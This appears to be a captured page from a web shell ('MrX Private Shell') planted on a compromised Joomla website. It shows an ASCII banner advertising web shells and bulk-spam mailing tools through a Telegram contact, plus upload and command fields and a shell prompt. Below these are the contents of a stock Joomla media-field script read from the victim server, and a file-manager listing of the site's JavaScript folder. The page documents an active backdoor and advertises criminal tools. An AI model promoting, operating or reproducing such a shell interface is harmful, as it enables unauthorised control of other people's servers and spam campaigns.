__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
if(!Joomla)throw new Error("Joomla API is not properly initiated");Joomla.selectedMediaFile={};const supportedExtensions=Joomla.getOptions("media-picker",{});if(!Object.keys(supportedExtensions).length)throw new Error("No supported extensions provided");document.addEventListener("onMediaFileSelected",(async e=>{Joomla.selectedMediaFile=e.detail;const t=Joomla.Modal.getCurrent(),i=t.querySelector(".modal-body");if(!i)return;const l=i.querySelector("joomla-field-mediamore");if(l&&l.parentNode.removeChild(l),i.closest("joomla-field-media"))return;const{images:a,audios:s,videos:o,documents:n}=supportedExtensions;if(Joomla.selectedMediaFile.path){let e;a.includes(Joomla.selectedMediaFile.extension.toLowerCase())?e="images":s.includes(Joomla.selectedMediaFile.extension.toLowerCase())?e="audios":o.includes(Joomla.selectedMediaFile.extension.toLowerCase())?e="videos":n.includes(Joomla.selectedMediaFile.extension.toLowerCase())&&(e="documents"),e&&i.insertAdjacentHTML("afterbegin",`<joomla-field-mediamore\n  parent-id="${t.id}"\n  type="${e}"\n  summary-label="${Joomla.Text._("JFIELD_MEDIA_SUMMARY_LABEL")}"\n  lazy-label="${Joomla.Text._("JFIELD_MEDIA_LAZY_LABEL")}"\n  alt-label="${Joomla.Text._("JFIELD_MEDIA_ALT_LABEL")}"\n  alt-check-label="${Joomla.Text._("JFIELD_MEDIA_ALT_CHECK_LABEL")}"\n  alt-check-desc-label="${Joomla.Text._("JFIELD_MEDIA_ALT_CHECK_DESC_LABEL")}"\n  classes-label="${Joomla.Text._("JFIELD_MEDIA_CLASS_LABEL")}"\n  figure-classes-label="${Joomla.Text._("JFIELD_MEDIA_FIGURE_CLASS_LABEL")}"\n  figure-caption-label="${Joomla.Text._("JFIELD_MEDIA_FIGURE_CAPTION_LABEL")}"\n  embed-check-label="${Joomla.Text._("JFIELD_MEDIA_EMBED_CHECK_LABEL")}"\n  embed-check-desc-label="${Joomla.Text._("JFIELD_MEDIA_EMBED_CHECK_DESC_LABEL")}"\n  download-check-label="${Joomla.Text._("JFIELD_MEDIA_DOWNLOAD_CHECK_LABEL")}"\n  download-check-desc-label="${Joomla.Text._("JFIELD_MEDIA_DOWNLOAD_CHECK_DESC_LABEL")}"\n  title-label="${Joomla.Text._("JFIELD_MEDIA_TITLE_LABEL")}"\n  width-label="${Joomla.Text._("JFIELD_MEDIA_WIDTH_LABEL")}"\n  height-label="${Joomla.Text._("JFIELD_MEDIA_HEIGHT_LABEL")}"\n></joomla-field-mediamore>\n`)}}));const isElement=e=>"object"==typeof HTMLElement?e instanceof HTMLElement:e&&"object"==typeof e&&1===e.nodeType&&"string"==typeof e.nodeName,getImageSize=e=>new Promise(((t,i)=>{const l=new Image;l.src=e,l.onload=()=>{Joomla.selectedMediaFile.width=l.width,Joomla.selectedMediaFile.height=l.height,t(!0)},l.onerror=()=>{i(!1)}})),insertAsImage=async(e,t,i)=>{if(e.url){const{rootFull:t}=Joomla.getOptions("system.paths"),i=e.url.split(t);i.length>1?(Joomla.selectedMediaFile.url=i[1],e.thumb_path?Joomla.selectedMediaFile.thumb=e.thumb_path:Joomla.selectedMediaFile.thumb=!1):e.thumb_path&&(Joomla.selectedMediaFile.url=e.url,Joomla.selectedMediaFile.thumb=e.thumb_path)}else Joomla.selectedMediaFile.url=!1;if(Joomla.selectedMediaFile.url){let l,a="",s="",o="",n="",d="",c="",r="";if(isElement(t)){if(0===Joomla.selectedMediaFile.width||0===Joomla.selectedMediaFile.height)try{await getImageSize(Joomla.selectedMediaFile.url)}catch(e){Joomla.selectedMediaFile.height=0,Joomla.selectedMediaFile.width=0}i.markValid(),i.setValue(`${Joomla.selectedMediaFile.url}#joomlaImage://${e.path.replace(":","")}?width=${Joomla.selectedMediaFile.width}&height=${Joomla.selectedMediaFile.height}`)}else{if(l=i.closest(".modal-content").querySelector("joomla-field-mediamore"),l&&("true"===l.getAttribute("alt-check")&&(o=' alt=""'),s=l.getAttribute("alt-value")?` alt="${l.getAttribute("alt-value")}"`:o,n=l.getAttribute("img-classes")?` class="${l.getAttribute("img-classes")}"`:"",d=l.getAttribute("fig-classes")?` class="image ${l.getAttribute("fig-classes")}"`:' class="image"',c=l.getAttribute("fig-caption")?`${l.getAttribute("fig-caption")}`:"","true"===l.getAttribute("is-lazy")&&(a=` loading="lazy" width="${Joomla.selectedMediaFile.width}" height="${Joomla.selectedMediaFile.height}"`,0===Joomla.selectedMediaFile.width||0===Joomla.selectedMediaFile.height)))try{await getImageSize(Joomla.selectedMediaFile.url),a=` loading="lazy" width="${Joomla.selectedMediaFile.width}" height="${Joomla.selectedMediaFile.height}"`}catch(e){a=""}r=c?`<figure${d}><img src="${Joomla.selectedMediaFile.url}"${n}${a}${s} data-path="${Joomla.selectedMediaFile.path}"/><figcaption>${c}</figcaption></figure>`:`<img src="${Joomla.selectedMediaFile.url}"${n}${a}${s} data-path="${Joomla.selectedMediaFile.path}"/>`,l&&l.parentNode.removeChild(l),Joomla.editors.instances[t].replaceSelection(r)}}},insertAsOther=(e,t,i,l)=>{if(e.url){const{rootFull:t}=Joomla.getOptions("system.paths"),i=e.url.split(t);i.length>1?Joomla.selectedMediaFile.url=i[1]:Joomla.selectedMediaFile.url=e.url}else Joomla.selectedMediaFile.url=!1;let a;if(Joomla.selectedMediaFile.url)if(isElement(t))i.markValid(),i.givenType=l,i.setValue(Joomla.selectedMediaFile.url);else{let e;if(a=i.closest(".modal-content").querySelector("joomla-field-mediamore"),a){const i=a.getAttribute("embed-it");if(i&&"true"===i){if("audios"===l&&(e=`<audio controls src="${Joomla.selectedMediaFile.url}"></audio>`),"documents"===l){const t=a.getAttribute("title");e=`<object type="application/${Joomla.selectedMediaFile.extension}" data="${Joomla.selectedMediaFile.url}" ${t?`title="${t}"`:""} width="${a.getAttribute("width")}" height="${a.getAttribute("height")}">\n  ${Joomla.Text._("JFIELD_MEDIA_UNSUPPORTED").replace("{tag}",`<a download href="${Joomla.selectedMediaFile.url}">`).replace(/{extension}/g,Joomla.selectedMediaFile.extension)}\n</object>`}"videos"===l&&(e=`<video controls width="${a.getAttribute("width")}" height="${a.getAttribute("height")}">\n  <source src="${Joomla.selectedMediaFile.url}" type="${Joomla.selectedMediaFile.fileType}">\n</video>`)}else if(""!==Joomla.editors.instances[t].getSelection())e=`<a download href="${Joomla.selectedMediaFile.url}">${Joomla.editors.instances[t].getSelection()}</a>`;else{const t=/([\w-]+)\./.exec(Joomla.selectedMediaFile.url);e=`<a download href="${Joomla.selectedMediaFile.url}">${Joomla.Text._("JFIELD_MEDIA_DOWNLOAD_FILE").replace("{file}",t[1])}</a>`}}a&&a.parentNode.removeChild(a),Joomla.editors.instances[t].replaceSelection(e)}},execTransform=async(e,t,i)=>{if(!0===e.success){const l=e.data[0],{images:a,audios:s,videos:o,documents:n}=supportedExtensions;return Joomla.selectedMediaFile.extension&&a.includes(l.extension.toLowerCase())?insertAsImage(l,t,i):Joomla.selectedMediaFile.extension&&s.includes(l.extension.toLowerCase())?insertAsOther(l,t,i,"audios"):Joomla.selectedMediaFile.extension&&n.includes(l.extension.toLowerCase())?insertAsOther(l,t,i,"documents"):Joomla.selectedMediaFile.extension&&o.includes(l.extension.toLowerCase())?insertAsOther(l,t,i,"videos"):""}return""};Joomla.getMedia=(e,t,i)=>new Promise(((l,a)=>{if(!e||"object"==typeof e&&(!e.path||""===e.path))return Joomla.selectedMediaFile={},void l({resp:{success:!1}});const s=new URL(Joomla.getOptions("media-picker-api").apiBaseUrl?Joomla.getOptions("media-picker-api").apiBaseUrl:`${Joomla.getOptions("system.paths").baseFull}index.php?option=com_media&format=json`);s.searchParams.append("task","api.files"),s.searchParams.append("url",!0),s.searchParams.append("path",e.path),s.searchParams.append("mediatypes","0,1,2,3"),s.searchParams.append(Joomla.getOptions("csrf.token"),1),fetch(s,{method:"GET",headers:{"Content-Type":"application/json"}}).then((e=>e.json())).then((async e=>l(await execTransform(e,t,i)))).catch((e=>a(e)))})),Joomla.getImage=Joomla.getMedia;class JoomlaFieldMediaOptions extends HTMLElement{get type(){return this.getAttribute("type")}get parentId(){return this.getAttribute("parent-id")}get lazytext(){return this.getAttribute("lazy-label")}get alttext(){return this.getAttribute("alt-label")}get altchecktext(){return this.getAttribute("alt-check-label")}get altcheckdesctext(){return this.getAttribute("alt-check-desc-label")}get embedchecktext(){return this.getAttribute("embed-check-label")}get embedcheckdesctext(){return this.getAttribute("embed-check-desc-label")}get downloadchecktext(){return this.getAttribute("download-check-label")}get downloadcheckdesctext(){return this.getAttribute("download-check-desc-label")}get classestext(){return this.getAttribute("classes-label")}get figclassestext(){return this.getAttribute("figure-classes-label")}get figcaptiontext(){return this.getAttribute("figure-caption-label")}get summarytext(){return this.getAttribute("summary-label")}get widthtext(){return this.getAttribute("width-label")}get heighttext(){return this.getAttribute("height-label")}get titletext(){return this.getAttribute("title-label")}connectedCallback(){"images"===this.type?(this.innerHTML=`<details open>\n<summary>${this.summarytext}</summary>\n<div class="">\n  <div class="form-group">\n    <div class="input-group">\n      <label class="input-group-text" for="${this.parentId}-alt">${this.alttext}</label>\n      <input class="form-control" type="text" id="${this.parentId}-alt" data-is="alt-value" />\n    </div>\n  </div>\n  <div class="form-group">\n    <div class="form-check">\n      <input class="form-check-input" type="checkbox" id="${this.parentId}-alt-check">\n      <label class="form-check-label" for="${this.parentId}-alt-check">${this.altchecktext}</label>\n      <div><small class="form-text">${this.altcheckdesctext}</small></div>\n    </div>\n  </div>\n  <div class="form-group">\n    <div class="form-check">\n      <input class="form-check-input" type="checkbox" id="${this.parentId}-lazy" checked>\n      <label class="form-check-label" for="${this.parentId}-lazy">${this.lazytext}</label>\n    </div>\n  </div>\n  <div class="form-group">\n    <div class="input-group">\n      <label class="input-group-text" for="${this.parentId}-classes">${this.classestext}</label>\n      <input class="form-control" type="text" id="${this.parentId}-classes" data-is="img-classes"/>\n    </div>\n  </div>\n  <div class="form-group">\n    <div class="input-group">\n      <label class="input-group-text" for="${this.parentId}-figclasses">${this.figclassestext}</label>\n      <input class="form-control" type="text" id="${this.parentId}-figclasses" data-is="fig-classes"/>\n    </div>\n  </div>\n  <div class="form-group">\n    <div class="input-group">\n      <label class="input-group-text" for="${this.parentId}-figcaption">${this.figcaptiontext}</label>\n      <input class="form-control" type="text" id="${this.parentId}-figcaption" data-is="fig-caption"/>\n    </div>\n  </div>\n</div>\n</details>`,this.lazyInputFn=this.lazyInputFn.bind(this),this.altCheckFn=this.altCheckFn.bind(this),this.inputFn=this.inputFn.bind(this),this.lazyInput=this.querySelector(`#${this.parentId}-lazy`),this.lazyInput.addEventListener("change",this.lazyInputFn),this.altCheck=this.querySelector(`#${this.parentId}-alt-check`),this.altCheck.addEventListener("input",this.altCheckFn),[].slice.call(this.querySelectorAll('input[type="text"]')).map((e=>{e.addEventListener("input",this.inputFn);const{is:t}=e.dataset;return t&&this.setAttribute(t,e.value.replace(/"/g,"&quot;")),e})),this.setAttribute("is-lazy",!!this.lazyInput.checked),this.setAttribute("alt-check",!1)):["audios","videos","documents"].includes(this.type)&&(this.innerHTML=`<details open>\n<summary>${this.summarytext}</summary>\n<div class="">\n  <div class="form-group">\n    <div class="form-check">\n      <input class="form-check-input radio" type="radio" name="flexRadioDefault" id="${this.parentId}-embed-check-2" value="0" checked>\n      <label class="form-check-label" for="${this.parentId}-embed-check-2">\n        ${this.downloadchecktext}\n        <div><small class="form-text">${this.downloadcheckdesctext}</small></div>\n      </label>\n    </div>\n    <div class="form-check">\n      <input class="form-check-input radio" type="radio" name="flexRadioDefault" id="${this.parentId}-embed-check-1" value="1">\n      <label class="form-check-label" for="${this.parentId}-embed-check-1">\n        ${this.embedchecktext}\n        <div><small class="form-text">${this.embedcheckdesctext}</small></div>\n      </label>\n    </div>\n  </div>\n  <div class="toggable-parts" style="display: none">\n    <div style="display: ${"audios"===this.type?"none":"block"}">\n      <div class="form-group">\n        <div class="input-group">\n          <label class="input-group-text" for="${this.parentId}-width">${this.widthtext}</label>\n          <input class="form-control" type="text" id="${this.parentId}-width" value="800" data-is="width"/>\n        </div>\n      </div>\n      <div class="form-group">\n        <div class="input-group">\n          <label class="input-group-text" for="${this.parentId}-height">${this.heighttext}</label>\n          <input class="form-control" type="text" id="${this.parentId}-height" value="600" data-is="height"/>\n        </div>\n      </div>\n      <div style="display: ${"document"===this.type?"block":"none"}">\n        <div class="form-group">\n          <div class="input-group">\n            <label class="input-group-text" for="${this.parentId}-title">${this.titletext}</label>\n            <input class="form-control" type="text" id="${this.parentId}-title" value="" data-is="title"/>\n          </div>\n        </div>\n    </div>\n  </div>\n</div>\n</details>`,this.embedInputFn=this.embedInputFn.bind(this),this.inputFn=this.inputFn.bind(this),[].slice.call(this.querySelectorAll(".form-check-input.radio")).map((e=>e.addEventListener("input",this.embedInputFn))),this.setAttribute("embed-it",!1),[].slice.call(this.querySelectorAll('input[type="text"]')).map((e=>{e.addEventListener("input",this.inputFn);const{is:t}=e.dataset;return t&&this.setAttribute(t,e.value.replace(/"/g,"&quot;")),e})))}disconnectedCallback(){"image"===this.type&&(this.lazyInput.removeEventListener("input",this.lazyInputFn),this.altInput.removeEventListener("input",this.inputFn),this.altCheck.removeEventListener("input",this.altCheckFn)),["audio","video","document"].includes(this.type)&&([].slice.call(this.querySelectorAll(".form-check-input.radio")).map((e=>e.removeEventListener("input",this.embedInputFn))),[].slice.call(this.querySelectorAll('input[type="text"]')).map((e=>e.removeEventListener("input",this.embedInputFn)))),this.innerHTML=""}lazyInputFn(e){this.setAttribute("is-lazy",!!e.target.checked)}altCheckFn(e){this.setAttribute("alt-check",!!e.target.checked)}inputFn(e){const{is:t}=e.target.dataset;t&&this.setAttribute(t,e.target.value.replace(/"/g,"&quot;"))}embedInputFn(e){const{value:t}=e.target;this.setAttribute("embed-it","0"!==t);const i=this.querySelector(".toggable-parts");i&&("block"!==i.style.display?i.style.display="block":i.style.display="none")}}customElements.define("joomla-field-mediamore",JoomlaFieldMediaOptions);

Filemanager

Name Type Size Permission Actions
calendar-locales Folder 0775
calendar.js File 40.8 KB 0664
calendar.min.js File 23.34 KB 0664
calendar.min.js.gz File 6.38 KB 0664
color-field-adv-init.js File 1.09 KB 0664
color-field-adv-init.min.js File 626 B 0664
color-field-adv-init.min.js.gz File 310 B 0664
joomla-field-color-slider-es5.js File 20.56 KB 0664
joomla-field-color-slider-es5.min.js File 7.95 KB 0664
joomla-field-color-slider-es5.min.js.gz File 2.57 KB 0664
joomla-field-color-slider.js File 17.65 KB 0664
joomla-field-color-slider.min.js File 7.51 KB 0664
joomla-field-color-slider.min.js.gz File 2.48 KB 0664
joomla-field-fancy-select-es5.js File 18.47 KB 0664
joomla-field-fancy-select-es5.min.js File 7.81 KB 0664
joomla-field-fancy-select-es5.min.js.gz File 2.57 KB 0664
joomla-field-fancy-select.js File 12.87 KB 0664
joomla-field-fancy-select.min.js File 5.67 KB 0664
joomla-field-fancy-select.min.js.gz File 1.79 KB 0664
joomla-field-media-es5.js File 32.55 KB 0664
joomla-field-media-es5.min.js File 17.49 KB 0664
joomla-field-media-es5.min.js.gz File 5.34 KB 0664
joomla-field-media.js File 12.38 KB 0664
joomla-field-media.min.js File 8.01 KB 0664
joomla-field-media.min.js.gz File 2.21 KB 0664
joomla-field-module-order-es5.js File 7.66 KB 0664
joomla-field-module-order-es5.min.js File 3.67 KB 0664
joomla-field-module-order-es5.min.js.gz File 1.46 KB 0664
joomla-field-module-order.js File 4.29 KB 0664
joomla-field-module-order.min.js File 2.2 KB 0664
joomla-field-module-order.min.js.gz File 925 B 0664
joomla-field-permissions-es5.js File 9.04 KB 0664
joomla-field-permissions-es5.min.js File 4.79 KB 0664
joomla-field-permissions-es5.min.js.gz File 1.75 KB 0664
joomla-field-permissions.js File 5.38 KB 0664
joomla-field-permissions.min.js File 3.29 KB 0664
joomla-field-permissions.min.js.gz File 1.19 KB 0664
joomla-field-send-test-mail-es5.js File 5.67 KB 0664
joomla-field-send-test-mail-es5.min.js File 2.88 KB 0664
joomla-field-send-test-mail-es5.min.js.gz File 1.19 KB 0664
joomla-field-send-test-mail.js File 2.54 KB 0664
joomla-field-send-test-mail.min.js File 1.49 KB 0664
joomla-field-send-test-mail.min.js.gz File 688 B 0664
joomla-field-simple-color-es5.js File 18.42 KB 0664
joomla-field-simple-color-es5.min.js File 9.54 KB 0664
joomla-field-simple-color-es5.min.js.gz File 3.63 KB 0664
joomla-field-simple-color.js File 12.92 KB 0664
joomla-field-simple-color.min.js File 7.44 KB 0664
joomla-field-simple-color.min.js.gz File 2.82 KB 0664
joomla-field-subform-es5.js File 23.87 KB 0664
joomla-field-subform-es5.min.js File 9.37 KB 0664
joomla-field-subform-es5.min.js.gz File 2.93 KB 0664
joomla-field-subform.js File 17.68 KB 0664
joomla-field-subform.min.js File 7.07 KB 0664
joomla-field-subform.min.js.gz File 2.08 KB 0664
joomla-field-user-es5.js File 10.28 KB 0664
joomla-field-user-es5.min.js File 5.42 KB 0664
joomla-field-user-es5.min.js.gz File 1.8 KB 0664
joomla-field-user.js File 4.83 KB 0664
joomla-field-user.min.js File 3.16 KB 0664
joomla-field-user.min.js.gz File 995 B 0664
joomla-media-select-es5.js File 43.89 KB 0664
joomla-media-select-es5.min.js File 24.81 KB 0664
joomla-media-select-es5.min.js.gz File 6.6 KB 0664
joomla-media-select.js File 20.56 KB 0664
joomla-media-select.min.js File 14.39 KB 0664
joomla-media-select.min.js.gz File 3.25 KB 0664
modal-fields.js File 6.67 KB 0664
modal-fields.min.js File 2.44 KB 0664
modal-fields.min.js.gz File 727 B 0664
passwordstrength-es5.js File 6.92 KB 0664
passwordstrength-es5.min.js File 2.61 KB 0664
passwordstrength-es5.min.js.gz File 1.01 KB 0664
passwordstrength.js File 6.36 KB 0664
passwordstrength.min.js File 2.55 KB 0664
passwordstrength.min.js.gz File 1015 B 0664
passwordview-es5.js File 2.61 KB 0664
passwordview-es5.min.js File 1004 B 0664
passwordview-es5.min.js.gz File 451 B 0664
passwordview.js File 2.42 KB 0664
passwordview.min.js File 949 B 0664
passwordview.min.js.gz File 433 B 0664
select-colour-es5.js File 1.55 KB 0664
select-colour-es5.min.js File 669 B 0664
select-colour-es5.min.js.gz File 300 B 0664
select-colour.js File 1.39 KB 0664
select-colour.min.js File 633 B 0664
select-colour.min.js.gz File 283 B 0664
tag.js File 2.09 KB 0664
tag.min.js File 922 B 0664
tag.min.js.gz File 413 B 0664
validate-es5.js File 28.31 KB 0664
validate-es5.min.js File 8.62 KB 0664
validate-es5.min.js.gz File 3.18 KB 0664
validate.js File 23.32 KB 0664
validate.min.js File 8.45 KB 0664
validate.min.js.gz File 3.02 KB 0664
Filemanager